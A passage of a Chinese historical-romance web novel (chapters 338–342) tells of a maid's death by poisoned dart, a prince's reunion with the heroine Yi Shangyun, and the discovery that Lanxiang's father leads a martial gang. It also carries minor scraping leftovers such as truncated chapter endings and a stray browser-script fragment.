一见到那金光闪闪,象征着骁龙会里至高无上的权利的龙字金牌,众人皆都左右互相面面相觑了起来,转而一齐大声呐喊道:“上啊……” 瞬间,只见好几千名醒目的红衣壮汉队伍浩浩荡荡地举刀霍霍朝着高台上怒吼冲了过去…… 若曦终于长长的舒了口气,收起金牌来,这才赶忙朝着燕儿与兰香身边疾奔了过去。 年轻守卫蹲身在燕儿身旁,神情凝重地起身抬起眼来朝若曦摇了摇头,说道:“飞镖上有剧毒,已进到五脏六腑,回天乏术了!” 若曦顿时瞪大了眼睛朝其怔了一下,紧接着似是仍不愿相信地忙俯身蹲了下去,一边帮其把脉,查看伤口,一边蹙眉关切道:“燕儿,你怎么样了?” 未及燕儿开口,席地而坐抱着燕儿身子的兰香已然惊怕的连话都说不完整,噙满泪水的眼里闪烁着点点晶莹的泪花,吞吞吐吐道:“衣姑娘,你终于回来了。燕儿她,她……” 燕儿静静地躺在兰香的怀里,此时气息微弱极了,嘴角一道发黑的血迹一直延伸到了她的颈部衣领内,然脸上却还淡 第三百三十八章:她真的不记得本王了 就在燕儿似是恋恋不舍地已经彻底告别了这个世界,而若曦却还依旧不肯相信地紧紧拥着一脸毫无血色,燕儿那瘦小的身子于自己的怀中。 像是燕儿还不曾离世,她只是需要传递多一些温暖给她,她便会醒来;又或者,一定是西秦国的皇城距离这里太远,燕儿一定是跋山涉水找自己太久太累了,需要好好休息一会儿,便会如同从前一样,依旧活蹦乱跳,絮絮叨叨地站起来追逐着自己的脚步一般。 她亲昵又心疼地将下巴抵在她的额头许久许久,执手相看着燕儿的遗容,竟无语凝噎。 不知不觉间,脸庞的泪痕不知何时也已经被温暖和煦的春风悄悄吹干,正陷入在自己无边的悲痛中,眼前忽然掠过一道刺眼的光芒。 只闻“嗤”地一声,一道鲜血喷出,溅落到燕儿的伤口上,那伤口顿时变得更加狰狞。 “衣姑娘!” “若曦姑娘!” 光芒闪动间,兰香与年轻守卫俩人相继得以快速察觉后亦很快回过了神来,却异口同声地惊叫了一声,被自己所看到的眼前的一幕惊呆了。 原来,那道刺眼的芒乃是龙烨还在带着一部分至今都死不悔改,仍旧执迷不悟的心腹在做着垂死的挣扎。乘着三人伤心失神之际,亲手刺向若曦的一道极快的剑光。 这剑光似是从天而降的一般令人一点儿也没有防备,只从若曦的眼前一闪,便在其与燕儿正在执手的那只臂弯上划出了一道极深的剑痕,顿时喷射出一股鲜血。 然此时满副出神呆滞着的若曦,眼睛却始终眨都不眨一下,似是这一剑根本就不是刺在她的身上一般,镇定自若,一动不动地只瘫坐在地上,宛若被人抽走了灵魂一般。面无一点儿表情,任凭是谁此刻都猜不透她的心里到底在想着什么? 年轻守卫忽一抬头,这才发现龙烨第一剑刺杀失败后,依旧并没有放弃。而是一鼓作气,连着第二剑带着一股更为邪恶凶狠的剑气,正以闪电的速度从若曦的头顶半空中再次直接瞄准朝着她的顶门劈了下来。 电光石火之间,年轻守卫惊愕的朝着三名女子的身旁急呼了一声:“快躲开!” 遂一把抽出了腰间的大刀,正欲举刀全力飞身出去拼命抵抗营救,却忽然与他擦肩而过飞出了一把比若曦头顶上的那道剑光速度与气势更来势汹汹的一把锋利短剑。 随之一起,空气里飘出一阵男子的声音来道:“龙烨,我们又见面了!” 短剑飞去,直接狠狠的击中了龙烨执剑的手腕,那只手顿时一失力,长剑落地,发出“铮”的一声响。 龙烨发力太狠,致使落地后连连后退了好几步,方才收住了势。一定住了双脚,方才意识到这声音听起来似是 有些熟悉。 于是,来不及去拾起掉落的宝剑,他猛地抬起头来朝着发出声音来的方向放眼过去定睛一看,顿时对着门口挺拔站的俩名熟悉的身影吃惊地叫了一声道:“是你们......” 年轻守卫一回首望去,原是冷峻男子,身边还站着一名看起来身手矫健,一脸正气的陌生男子。他们到底是什么人?心里正在迷惑,忽闻龙烨惊喝了一声道:“叛徒,你竟然还没死?你果然是那秦王轩辕瀚的眼线,枉本帮主还如此器重于你,你真是让本帮主太失望了!” 话音刚落,只见门口那两人忽然一齐微微晗首着各自退闪到了一边,继而从两人之间缓缓走出来一个看起来不怒自威,睥睨天下,尊贵不凡,颇具王者风范的男子。 龙烨一见,遂扭头到一边冷冷哼笑了一声,继而很快又转眼回来,朝那人甚为不屑地道:“秦王轩辕瀚,你可还真是不简单呢!竟然把眼线都敢安插到我骁龙会里来。可你别忘了,这里是南安国的国境,你又能奈我何?你不要告诉我,就凭你们三个,能敌得过我骁龙会几千名手下。” 然此时,轩辕瀚根本就没有将他的人亦或者他的话放在眼里或心里半分。 只见他兀自只管怒目着,急切地扫向面前陷入混战之中的几千人群里。 待一锁定到角落里的三名女子身上时,便大步流星疾奔上前去,朝着依旧瘫坐在地上那个熟悉的不能再熟悉的背影发出一声极致饱含相思与庆幸,又激动不已的柔声道:“云儿!” 岂料这一声,果然唤醒了悲愤至极,陷入极度的悲伤之中的若曦。 只见她缓缓放下了怀里的燕儿,继而默默的捡拾起掉落在燕儿身旁的一只上面绣着两只灵巧的比翼双飞燕的淡紫色香囊来,摊在掌心里,一遍又一遍地温柔轻抚着。 半晌后,她忽然猛地起身来,一双世间本最温柔美好的眼睛,顿时寒光四射扫向了四周,似是锁定了目标,她飞快地近身到距离其最近的一名红衣壮汉身前,一把大力地夺过了其手中的大刀,狠狠地冲上前去直朝着龙烨左肩刺去。 “云儿”见此,轩辕翰瞪大了眼睛朝其大吃一惊道。 眼看着龙烨亦作起抵挡之势,若曦却显然连刀都握不稳,而一旁的轩辕翰正欲飞身过去出手时,忽然从众人头顶半空中飞出一个身影来,俯身将龙烨一把捞了起来飞快地架走。 “龙烨,看你能逃到哪里去?”只见若曦顿时驻足停了下来,咬牙狠狠地朝其跑路的背影扬声大喝了一声,根本无视轩辕瀚的存在,便亦朝着那二人逃去的方向,骁龙堂角落里一片茂密的翠竹林中追了去。 “看好燕儿!”见若曦只身追去,跪身搂着燕儿的兰香亦 急急开**待了一声身旁的年轻守 第三百三十九章:龙凤镯,双双护兰 陪着因为崴了脚稍作休息的兰香一同坐了下来,若曦情不自禁地又暗暗想起了方才所发生的一幕幕来…… 禁不住黯然神伤地默默从袖兜里掏出燕儿所掉落的那只双飞燕香囊,捧在手里凝视了半晌,宛若似是又看到了那个喋喋不休,此时却不知该说她胆小还是胆大的小丫头的音容笑貌一般,淡淡的对那着香囊笑了笑。 一回神,却终是清醒了过来失望的倒抽了口气,将其缓缓打开。 “既然是她随身带着的东西…难道这些就是燕儿生命里最珍贵的几件物件么?”若曦顿时呆呆的望着那静静躺在香囊里的两只手镯,似是有些吃惊地自言自语说道。 “若曦你在看什么?”正在拭去额头细汗的兰香听见了若曦的喃喃之音,扭头看向她正沉思的脸,继而亦微微挪了挪身子朝其身边靠了靠,好奇的望向她手里的那只淡紫色香囊。 岂料若曦伸手一从其里面摸出来那两只手镯来想要与兰香一起细看,刚露出来点儿影子,兰香歪着脑袋一瞥见那只自己熟悉的不能再熟悉的檀香木雕兰花纹镯子,竟然眼疾手快忽地一把从其手中先夺过了那只镯子去,放在眼前仔细地打量起来。见此,若曦一脸的不明所以。 半晌后,想了想,兰香遂满脸欣喜地自言自语道:“这只檀香木雕兰花纹镯子不正是被我不小心弄丢的那只吗?真没想到,竟然会在燕儿这里。一定是她帮我捡拾起的,可尚还未来得及给我,她便……” 话一至此,两人不禁同时都垂首下去,满腹哀伤的沉默了下来。 片刻之后,看到兰香掏出锦帕来颇为用心的一遍又一遍认真地擦拭起这只镯子,如此珍视,若曦故意打趣道:“看你失而复得如此高兴,这般宝贝这只镯子的模样,想必它一定对你有很特别的意义吧?莫非是...情郎所赠?” 闻此,兰香缓缓抬起头来看了若曦一眼,对她淡淡地笑了笑,兀自回过头去一边继续擦拭镯子上的灰尘,一边悠悠道: “这只镯子,是我娘生前最宝贝的东西,她一直贴身带着从不离身。直到她临走咽气的时候才摘下来给我。如今,身边带着它,就如同仿佛我娘一直都还在我身边,从不曾离开一样。我记得,以前我娘没事儿的时候,总喜欢坐在窗前捧着它对它发呆。我问过她很多次,可她除了叹气和背着我悄悄落泪以外什么都不肯说?但我知道,她一定是在想那个人,而这只镯子也一定是那个人留给她的一份刻骨铭心的念想。” 兰香说着说着,眉头渐渐蹙了起来,沉默了好半晌,情绪忽然变得有些激动,愤愤地道:“我恨透了那个人,若是有朝一日让我遇到了那个恩将仇报,忘恩负义的负心汉,我一定 要亲手杀了他。若不是因为他的出现,我不会被人骂作是没人要的衰孩子,扫把星,我娘也不会被人鄙视作是没人要的臭女人,破鞋,我们母女都是被别人嫌弃丢掉的下作胚子。或许,我娘便会安安稳稳的度过一个女人该有的平静,或许不富足但却安逸的一生。生命不会如此短暂与凄苦,直到生命的最后一刻,也没等回那个负心汉来看一眼。” 兰香手里紧紧地攥着那只檀香木雕兰花纹镯子,咬牙切齿地狠狠说着。 见此,若曦缓缓将自己的手附上兰香此时紧紧握起,似是都在颤抖的那只手将其试着慢慢打开,从里面取出那只镯子来摊开在自己的掌心,端详了许久。 这只镯子,一定费了不少功夫。经过了一遍又一遍的反复精磨、上油、擦拭,最后才能做到每一处细节的切面都犹如犀牛角般光泽亮丽,似铜镜又似美玉。 暗自想了想,若曦遂有些纳闷了起来:“‘兰香’‘兰花’...这只镯子上主雕的兰花花纹,一定是寓意的你吧?这会不会是那个人亲手雕上去的呢?或许,他的离开,也是有什么苦衷的呢?” 见兰香鼓着腮帮子,始终不解气地怔在原地一动不动,若曦摇了摇头,说道:“你不会杀他的!” “我会……为什么不会?”兰香这才缓过神来毫不犹豫地坚决怼了若曦一句。 若曦淡淡地笑着在她脸上轻拧了下,遂将落在掌心的镯子用两根白皙的手指轻轻捏起来亮出,道:“你若是真的恨他,又怎么会明明知道这是他的东西,还将它每日拿出来摩挲擦拭,保养的如此细心呢?依照你这暴躁脾性,怕是早就在你娘尚还在世的时候,便已神不知鬼不觉的将它从你娘那里哄骗了去,或劈或坎,或烧或炼,纵使有千万种方法任你扒皮处置吧?它还能苟活至此时?” “我……我懒得跟你说,还我!你若不信,我现在马上就当着你的面将它毁给你看!”兰香瞬间赤裸裸的暴露了其那般小心翼翼隐藏着的从小到大内心最深底处的秘密,一时间里又无言以对,于是心虚又气急败坏地放了一句狠话,急忙伸手上去欲一把将其大力地夺回。 若曦看她心思被拆穿后恼羞成怒的抓狂模样,正欲松手还她,可忽地一看到那镯子内圈里所绕着的密密的一圈凤尾纹时,忽然又将镯子哗的一下放了下来,对兰香阻止道:“等等…再让我看一眼。” “怎么了?”兰香看到若曦忽然变得一脸严肃下来,只自顾自端详起那只镯子来,便凑上去与她一起看了看,不解地问。 若曦眉头蹙着没有说话,只自顾将镯子捏在手里转来转去,沉默思量了好半晌,方开口问兰香道:“这镯子,原本是不是有一对?” 闻此,兰香忽变的一脸肃穆,缓缓起身来往一边一瘸一拐地挪了两步,双手扶在树干上,背对着若曦想了想,对其微微点了点头,沉声道:“听外婆说,这镯子本是一对都以突现兰花为主的龙凤对镯。除了兰花花纹以外,其内圈上一只嵌雕了凤尾纹,另一只则是嵌雕的龙纹,取意龙凤双双护兰之意。“ 说着说着,兰香忽然垂头下去,肩头抖了抖,遂冷笑了一声,道:“多么讽刺的喻意呀!双双护兰...应是双双弃兰吧?!” 来不及多做言语,若曦忙起身继续追问:“那那只龙纹镯呢?” 兰香轻叹了口气,说:“龙纹的那只,外婆说,在那人离开的那日里,他与我娘发生了争执,便当着我娘的面,一气之下将其一把丢到河里去了,所以我娘才会终日里背着我们对着这只孤单的凤尾纹镯伤心哭泣。如今龙纹镯已去,从此,护兰龙凤对镯便再无重逢之日。” “不...龙纹镯还在。”此时,若曦总算是终于明白了一切,愣愣地看着树林里的一条小溪中的潺潺流水说道。 “你说什么?”闻此,兰香顿时朝其回过了头来。 若曦定了定神,遂上前几步近身到兰香的身旁,握着她的手,问她:“兰香,你觉得骁龙会龙帮主这个人怎么样?” “你说的是哪个龙帮主?”兰香不解的问。 “当然是龙恩龙帮主了,那龙烨是什么德行,一眼便知,还用人说嘛。”若曦道。 兰香犹犹豫豫地沉默了一会儿,最后开口说道:“其实我也说不好。我觉得他,像是个好人,又不像是个好人。似是透着几分君子的气质,但一想到他的那些可恶的手下,我的心里便就只有恨,若不是因为这些人,燕儿也不会惨死于此,更不会有那么多无辜的人受伤,我恨他!” 看到兰香满腔怒火中烧起来,若曦劝解道:“兰香,你虽然平日里有些大大咧咧,但还是个明辨事理的人。其实你心里也清楚,这一切并不是龙恩的本意,而是那野心勃勃,居心叵测的龙烨在故意兴风作浪。你不该将这一切都怪在他的头上。虽然他对骁龙会也有疏于监督管理的责任,还可能心里有些不甘的念头。但我相信,他的本质并不坏。假以时日,只要对其循循善诱,他终会想明白的。” 兰香听得一头雾水,不禁有些烦躁起来,一反手急急捉住了若曦的手腕道:“若曦,你到底想说什么?方才你不是说龙纹镯还在么,在哪儿?为什么又说到骁龙会和那龙恩,龙烨的身上?” 若曦抿了抿嘴,又深深地吐了口浊气,盯視着兰香的眼睛认真严肃地说道:“兰香,其实...我曾经因为遇到一个很特殊的情况,不得已到了龙大哥的 书房,在龙大哥书房的一个柜子里面,看到角落里单独竖着一块用红绸布包裹着的一个长方形盒子…… 话未说完,看到若曦吞吞吐吐,似是一直在故作神秘地与其绕弯子,兰香便用力地摇了摇她的手臂,不耐烦地道:“若曦,你到底想说什么?为什么忽然变得如此婆婆妈妈呢?有话不妨直说。” 若曦愣了一下,说道:“那个盒子里,有个同你一模一样的檀香木雕兰花纹镯子,我当时好奇扫了一眼,那内圈里嵌雕着的正是一圈龙纹。” “什么?你是说……”兰香似是一点儿也不敢相信自己的耳朵,顿时松开了附在若曦腕上的双手,连连后退了好几步,直到最后背部撞在了身后的树干上,方才止住步愣愣发起呆来。 (本章完) if((''baiduboxapp>-1){('' 第三百四十章:做回衣上云吧?! 看着兰香虽然难以置信,但也总算是终于听明白了自己所说,而若曦自己又何尝不是至此终于彻底明白了过来:“当时我还好奇,这镯子怎么看都似原本就应是一对的样子?不成想,另一只竟然是在你那儿…...” 顿了顿,与兰香一起沉默了会儿,若曦这会儿回忆起那日初见此手镯时的惊诧,想了想,轻叹了口气对兰香说道:“龙大哥将那只镯子视若珍宝一般保存的那样隐蔽,那手镯亦是同你的这只一样似是时常拿出来擦拭打理,保养的一点儿也不比你的这只差!或许,他的心底也同样满心期待着这龙凤镯能够再次重逢的那一日吧!” 听了若曦所说的一切,兰香显然已经陷入了深深的矛盾与沉思中,一时间心里五味杂陈不停地翻涌起来。 此刻,她从小受到的所有歧视、屈辱、不公、与不幸,一时间里纷纷浮现在眼前。 这一切,不都是那个人一手所造成的么?那就像是在她体内疯长的一颗无药可医的毒瘤一般,此刻已快要将她吞噬掉。 曾经的无数个日日夜夜里,她都告诉自己她永远都不会原谅那个人,她对他的恨早已深入骨髓。 可一想起娘即使是在临终前的弥留之际,却依然眼巴巴地等着那个人能回来见他最后一面。而她则只能气的冲出屋门,对着青山绿水,对着苍茫大地,对着飞鸟与鱼,一声声撕心裂肺地哭着怒喊:“你这个王八蛋,为什么不直接死掉,断了她所有的念想与等待?为什么抛弃她?为什么让她走的如此羁绊不安。” 她跪问天跪问地,跪问世间万物,却始终都没能得到任何回应。 这些年,每当夜深人静的时候,她总会不止一次地问自己:那到底是怎样的一个人?能让娘即使一生受到如此的羞辱,亦还对他念念不忘,并还让她亦不要恨他。 不恨?如何不恨?她恨,她恨极了,恨不得他前脚一出门便天现一道惊雷,正好端端落在他的头顶,将他给劈死,然后再被阎王爷打入十八层地狱永不超生。 下辈子,她要他为自己所做的一切赎罪,做她家的一条看门狗,整日对娘摇尾乞怜,随便自己捶打泄恨,却不得逃脱。 她恨不得将他大卸八块,碎尸万段,绝不可能原谅他! 可是,可是当她听到这个人竟还真的活着,好好活着的时候,她的心里怎会浮起一抹自己也说不清楚的从未有过的感觉呢? 显然,她迟疑了…… 半晌后,只见兰香似是越来越承受不了这样的煎熬,她双手缓缓附上了耳朵,一边摇晃着脑袋,一边撕心裂肺地呐喊:“不,不,不,我不相信,我不相信……兰香这辈子只有娘和外婆,没有爹。去死,都去死,通通去死,没 有!没有!没有!” 嘴里明明说着天下最狠绝的话语,而整个人却似瞬间连同自己瘦弱的身子亦已无力支撑,顺着树干“扑通”一声瘫倒了下去。 若曦呆呆地立在兰香的面前,看着她此时如此的伤心与激动,她知道现在兰香的心里在打架,在挣扎。 兰香此刻是口是心非的,她越是激动,便越是证明了这点。一念至此,若曦用那就连自己都很难听清楚的声音喃喃道:“总有一日,你会接受这个事实和那个人的。时间,是最好的疗伤药。而亲情,亦是世间最没有原则和道理的东西。” 话说完后,她又凝视了兰香片刻,最后对她摇了摇头,兀自缓缓转身站到了身旁不远处的一条清澈见底的小溪流边愣了愣,遂低眼下去摊开来一只手掌,凝视起那条由一根红绳所穿着的个头极大的墨色底色,上面居中着一条规整而粗壮的白线,与底色之间的颜色对比极为强烈的药师珠手链来,默默地呼唤了一声道:“燕儿!” 忽然,一片金黄色的树叶从她头顶的树上飘飘荡荡着落下来,掉进小溪的水面后,顺着潺潺水流的方向一直往南欢快地漂了去,将她唤醒。 一双炯炯有神的美目微微眨了两下,遂收起了无边的思绪。方才回想燕儿弥留之际的话时,不知为何,她的心里忽升起一抹疑虑,犹犹豫豫间,她终是木讷地盯視着眼前小溪边浅水里的一尾不知名的似是不小心迷了路,正在到处乱撞的小鱼儿,轻声地问身后的兰香:“兰香,秦王,那是怎样的一个人?他跟我...很熟吗?” 闻声,同样一脸难色,不知所措着的兰香忽地回过神来,猛抬起头惊诧地看向若曦的背影,问:“衣姑娘,你怎么突然问起秦王殿下了?不会是...不会是你想起来什么了吧?” “没有,我只是忽然想起了燕儿,随便问几句。”若曦背对着她,静静地道。 兰香失望的沉声“哦”了一声,想了想,回忆开口幽幽道:“其实,关于衣姑娘与秦王殿下之间的事……” 话刚开口,兰香突然停了下来,似是征求其意见一般地口气道:“衣姑娘,做回衣府大小姐...衣上云吧?!这明明就是同样的一张脸和同样一个人,兰香始终都不能把你当若曦对待。” &nbs 第三百四十一章:公子似是有些面熟 “你这个蠢女人,竟让本王如此好找!”眼前的这一刻,他等的太久太久,似是已有千年亦或万年。 自从离别后,他绞尽脑汁日日夜夜所能想到的所有关于俩人再次重逢时,一定要好好惩罚一番这个女人的全部招数,此时已然全都瞬间忘的一干二净。 他究竟应该以怎样的方式来使他们重新再一次开始呢?他只知道,这次,他一定要让她终生不忘,永世记得。 可是,太热情,怕吓到她;太冷淡,又怕自己不满足,不能发泄自己对她相思入骨的想念。 一直以来,他无论如何都没有想到,他们的重逢,竟会是这般不知所措的一幕。此刻,他脸上虽然一如既往地镇定自若,平静冷淡,然心里却早已燃起了熊熊烈火,等待着一场未知的发作…… 正对着眼前伊人的身影痴痴默思着,一手支起下巴于膝前木讷地盯视着眼前终于在自己的帮助下,寻到了同伴一起觅食的小鱼儿,另一手的两根纤纤手指正随意地挑着那串药师珠手链轻轻在转动的衣上云,忽觉得有人一直在盯着自己看,于是,她缓缓停下了手里的动作,回过神来抬起头,侧脸朝其望去。 当她一扫到兰香竟不知何时早已不在四周,而却有另一挺拔伟岸的身姿取而代之立在自己身旁,正在盯视着自己所在的方向发呆,遂缓缓起身站了起来,亦好奇的愣愣打量起了眼前的人。 与其对视了许久许久,挠挠脑袋,犹犹豫豫之间,她忽然有些纳闷地开口问道:“公子似是有些面熟,请问我们以前是不是在哪里见过?” 其实,衣上云自己也说不清楚,她为何会对眼前这个表面上看似睥睨天下,尊贵不凡,实则却是天下最冰冷孤寂的一个陌生身影有如此一种说不出的熟悉感。 然即使她这句话说的如此云淡风轻,却足以摧毁轩辕翰早已仅剩下不多的那一点点定力。 这恐怕是他这些无数个无眠不安的日子里,心心念念最盼望听到的声音了。 此刻,甚至就连其眼睛里亦竟似还有些微微的泪花在闪动。如此一个杀伐果断,尊贵无比的战神级人物,这一刻,竟然嘴巴一张一张地,硬是说不出一个字来。 只见他终于再也耐不住心里正噼里啪啦燃烧着的那团烈火,一双深邃的冷眸顿时热情温柔了起来,大步朝其身前上去,哗的一下打开了一副宽阔有力的臂膀,一手将那柔软的腰肢一把紧紧地拥入到自己怀中,另一手掀掉轻扬起面纱的遮挡,迎上去以吻封唇。 衣上云惊诧地朝其瞪大了眼睛,直木讷地盯视着他微微闭起的双眼上长长的睫毛和浓密的眉毛,以及那张宛若被天工雕刻过的如天人般的一张精致轮廓,整个人瞬间似是瘫在了他 温暖的怀抱里一般,贪婪的享受着他的温柔以对。 被如此英俊的一个男人揽腰如此亲密地深吻着,是在做梦吗?她的心不禁扑通扑通跳个不停:“好奇怪,这种感觉,怎会如此熟悉?我为何无法拒绝推开他?” 想着想要,自己竟也忘却了一切,舒服的缓缓闭起双眼来,彻底沦陷在他的柔情蜜吻当中,全身心感受起他渐渐深入对自己所发起的猛烈攻势来。 他的吻,时而浅啄,时而吸吮,撵转游离之间不知不觉便已悄悄撬开了她的贝齿,湿遍了她笔挺的秀鼻,眼睛,眉心,脸颊,耳廓的每一寸,细长的脖颈…… 就在他始终都得不到满足,继续渐渐埋头下去探到她的领窝里时,忽然想起了上次除夕夜里所发生的那愕人的一幕,轩辕翰戛然而止停了下来。 看着同样期盼着继续的衣上云一脸潮红,轩辕翰轻抿了抿嘴,宠溺地笑着将一最深的吻轻轻落在了她的眉心,继而抱紧她将脸抵在其鬓间于她的耳边柔声轻语了一句道: “本王就知道你不会对本王这样绝情,把本王忘的一干二净,对不对?小傻瓜,原来你什么都记得。那你可还记得,本王也曾说过,除夕夜雪松树下的事,希望你是真的忘了,如果有一天,让本王知道你是故意在撒谎的话,本王定会加倍惩罚!你说,本王现在该怎么罚你!” 闻此,衣上云忽的缓过神来一把推开了轩辕翰的怀抱,退后两步惊愕地仰视着那惊讶的一双星眸,恍然大悟道:“你就是秦王殿下?” 轩辕翰闻声,愣了一下,继而一边伸手过去牵她,一边柔声道:“是本王,本王亲自来找你回去,本王终于找到你了,本王不许你以后再离开本王半步,你……” 轩辕翰正说的起兴,岂料衣上云竟忽然侧身一闪,继而扑通一声在其面前重重地跪了下来,朝其俯首跪拜道:“民女衣上云参见秦王殿下,千岁千岁千千岁!民女想,方才民女一定是中邪了,才会做出如此亵渎殿下的行为,请殿下责罚!” 轩辕翰见此,顿时大惊失色地看着眼前垂首毕恭毕敬的女子,惊呆了。唰的一下褪去了脸上的笑意,一边继续试着伸手欲将其捞起身来,一边吃惊地道:“云儿,你这是怎么了?” “殿下请自重,方才都是民女的错,若是让殿下因此而产生了什么误解,民女向殿下致歉!”岂料衣上云竟跪着后退了两步避让开他所附上来的强而有力的大手,对其一脸歉然道。 轩辕翰无奈的顿了顿,默了会儿,似是对这向来意志坚定,很有主见的女子再次变得手足无措了起来,甚至是有些抓狂,继而憋住气沉声怒道: “小骗子,你休想 再骗本王,上次你也是这样,给了本王希望,转身却假装失忆忘记了与本王之间所发生的一切。那时,本王还真的信以为真了!而这次,你还想故技重施?休想,你再也骗不了本王,这次,本王断不会再相信你,你这就随本王回去秦王府里,本王自是有千万种主意,让你好好回忆起过去的一切来。” 说着,便再次伸手上去欲强行将其拽走。 衣上云被他极轻松地便如同是从地上拎起一只乖顺的小白兔一般,拎了起来便拽着走。 衣上云在他的手里挣扎着道:“殿下,你放手,快放手,殿下是已有了家室的人,这若是被人看到了,还以为我们之间……” 然轩辕翰却自顾自一边在前面坚定不移地前行,一边霸道地将其打断道:“你越是让本王放手,本王就越不放手。本王就是要让全天下的人都知道,你是属于本王的,谁都不准打你的主意。” 就在两人一拖一拽朝回走的时候,身后远处反方向忽然传出一女子的尖叫声:“啊……” “是兰香?糟了,一定是龙烨又回来了。”衣上云顿时停下了反抗,与轩辕翰驻足对视着惊声道。 “走!”轩辕翰说着,便一手揽起衣上云的纤纤细腰来朝着林中兰香的惊叫声发出来的方向飞身而去。 …… “啪”树林深处,龙恩气势汹汹重重的一记耳光落在了被五花大绑在一棵梧桐树上的兰香白皙的脸上,顿时印出五根粗壮的手指印来。 紧接着,龙恩朝其面目狰狞地怒问道:“说,你究竟是什么人?是不是也是那秦王轩辕翰派来的眼线?你们的目的到底是什么?” 兰香此刻看着眼前人模狗样倒是个真正名副其实的伪君子的龙恩,一想到他竟然就是自己的父亲,心中甚是五味杂陈,默默自嘲:“这便是娘一直到死都心心念念的男人,就是这样的一个男人,馈赠了她一生无穷无尽的苦难与屈辱。” 她痛彻心扉,失望极了地怒目斜瞪着他,许久后,咬牙狠狠地啐了一口在身旁的地上:“呸!” 见此,龙烨从龙恩的身后大步冲了上来走到俩人中间,一边挽起衣袖来,一边说道:“大哥,让我来!若是不让这个贱人吃点儿苦头,看来,这贱人是不会招的!竟然胆敢串通那黄口小儿将我骁龙会里闹得天翻地覆。” “你这个卑鄙,无耻的可怜虫,敢动我一根手指头试试看?你以为,我还是几年前那个傻乎乎被你诱骗卖到妓院那个叫天天不应,叫地地不灵的小丫头嘛,哼!”兰香瞬间火冒三丈,怒瞪着他的眼睛,对其狠狠说道。 闻声,龙烨心里忽然咯噔一下,有一种不好的预感浮上心头。 果然,龙恩在其身后惊诧地开 口问:“什么?你将她卖到了妓院里?你竟然敢做逼良为娼的勾当?我不是一直警告你,不要四处骚扰百姓嘛,你怎么……” “大哥,我……”龙烨忽地回过头去将其打断,正欲开口解释。兰香忽然哼笑了一声,先开了口:“哼!明明就是狼狈为奸的一丘之貉,还独自装什么清高。看来,我娘她真是瞎了眼,才会看上……” 兰香说着说着,忽觉失言急急收敛了声音。 龙恩乘其不备,猛地抬手“啪”的一巴掌落在了龙烨的脸上,龙烨吃痛后一把忙捂住了半边脸。 看到兰香忽然欲言又止,龙恩又狠狠地瞪了一眼此时嘴脸狼狈的龙烨,向兰香追问:“你想说什么?你娘?” (本章完) 第三百四十二章:好鸟知时节 龙恩一问,兰香竟轻蔑地瞥了他一眼,继而冷哼一声,细细打量了一番四周郁郁葱葱,山明水秀静谧的山林美景,道: “哼…看来,今日姑奶奶我是在劫难逃,离不开这里了。也好,这山林依山傍水,溪水潺潺,鸟语花香,微风和煦。长眠于此,想必日日一定有这些花儿鸟儿做伴,倒也算是块儿风水宝地了!我只求,下辈子投胎,千万不要投做人渣的…来吧,动手吧!对于这个世界,我早就生无可恋了,活着,只不过行尸走肉而已……” 兰香欲言又止,说着说着,最后看了一眼这世界,终于笑着缓缓地阖上了双眸。 看到兰香闭起了眼睛,誓只求一死。龙烨窃喜着不怀好意地上前到龙恩的身旁,在其耳旁对其煽风点火,窃窃私语道:“大哥,留着她一定是个祸害,你看她那副狐媚样,她几次三番存心不良到我屋内试图诱惑我。我们千万不能给她任何放虎归山的机会啊,这个贱人诡计多端,她一定是那个黄口小儿派来刺探我骁龙会军情的细作,杀了这个贱人,为骁龙会今日受到的如此重创报仇雪恨!” 其实即使是现在,龙恩仍然隐隐觉得这名女子打一开始出现在他的眼前时,便对她有种说不出的熟悉亲切感。 然思量再三后,只见他眉头蹙起的越来越紧,许久后,龙恩深吸了口气,双手负后着缓缓闭起眼来侧身转了过去。 龙烨一得令便扬起满脸狞笑一步一步走向了兰香的身边,咬牙切齿地道:“贱人,竟然妄想跟我斗?看来,这辈子你始终都是逃不出爷爷我的手掌心了。这次,我就有劳一下,亲自动手送你上路。也算是成全了你与那个短命鬼,让你们早点能在阴曹地府里相遇,去做对鬼鸳鸯。” 然兰香却似是已经彻底对这个世界完全绝望了一般,无论龙烨此时说什么,亦或如何挑衅?她都不再开口与其反驳辩解一个字,甚至连眼睛都不再睁开半分来。脸上反倒是一直挂着些许微笑,像是在讥笑这个残忍、肮脏、冷漠、讽刺、又无情的世界。 她的心里对这样的世界没有一丝眷顾,仿佛似是就此永远沉睡过去了一般,以后再也不必看那些一张张虚伪而丑陋的嘴脸,亦不必再惹尘埃一粒。 龙烨见此,话一说完,便“嗖”的一下,从腰间拔出了一把看起来颇为不凡的浮雕龙纹铜鞘匕首来,缓缓脱去了刀鞘,露出其极锋利的刀尖来,眯起双眼一步一步缓缓踱向前方,将其渐渐举起来瞄准兰香的左胸口处狠狠地大力插了过去! 就在那刀尖距离兰香的心间位置不偏不倚只差半寸不到就刺中的时候,忽传出一女子的声音道:“住手!” 龙烨闻声,忙止住了手里的动作,抬起眼来转 身朝其及周围的方向惊诧地望去,待一看清那形单影只的女子熟悉的面孔,忙上前两步当即朝其惊声道:“是你!…臭丫头片子,你来的正是时候,竟还敢独自一人送上门来。如今在骁龙会里捅出这么大的篓子,看大哥怎么收拾你?” “龙大哥,你终于回来了!”然衣上云却根本未将他的人和话放在眼里半分,兀自只对着龙恩的背影道了声。 而此时,正一旁背对着众人的龙恩一听到那熟悉的声音再次在耳畔响起,霎时睁开了一直微微闭着的眼睛来,努力抑制住内心的激动,并未转身看她。 只见他默了会儿,忽然开口沉声责备其道:“枉我如此信任于你,临走前将整个骁龙会都交到了你的手上,难道你就是这样回报我的吗?勾结秦王的人,意图瓦解我整个骁龙会……” 龙恩单手附后着,将置于胸前的一只拳头紧紧握起,却似是连自己都有些说不下去的样子。 龙烨被龙恩从骁龙堂院子救出后,第一件事便是向其一字不漏地添油加醋禀报了衣上云在骁龙会里的所有举动。至于龙恩到底信其几分?不信有几分?自是只有他自己才知道!然一想到自己一回来,便看到骁龙会如此大乱场面,他还是忍不住生气。 闻此,龙烨嘴角顿时一抽,悄悄地露出一抹得色,退到了龙恩身旁。 兰香闻声,亦睁开了眼睛来看着眼前的女子激动地闪耀着点点泪花道:“衣姑娘!” 同时,她又急急扫了一下衣上云的身后,看到并无他人相陪,便疑惑地再次开口:“衣姑娘,怎么只有你一个人呢?秦……” 衣上云忙定睛深看向她的眼睛,兰香似是隐隐领悟了她的意思,赶紧敛了声。 林间蔓生的野草间,传出阵阵的虫鸣声,从树叶间隙筛落的点点阳光映照在地上的野草与兰香的身上,斑驳不清。 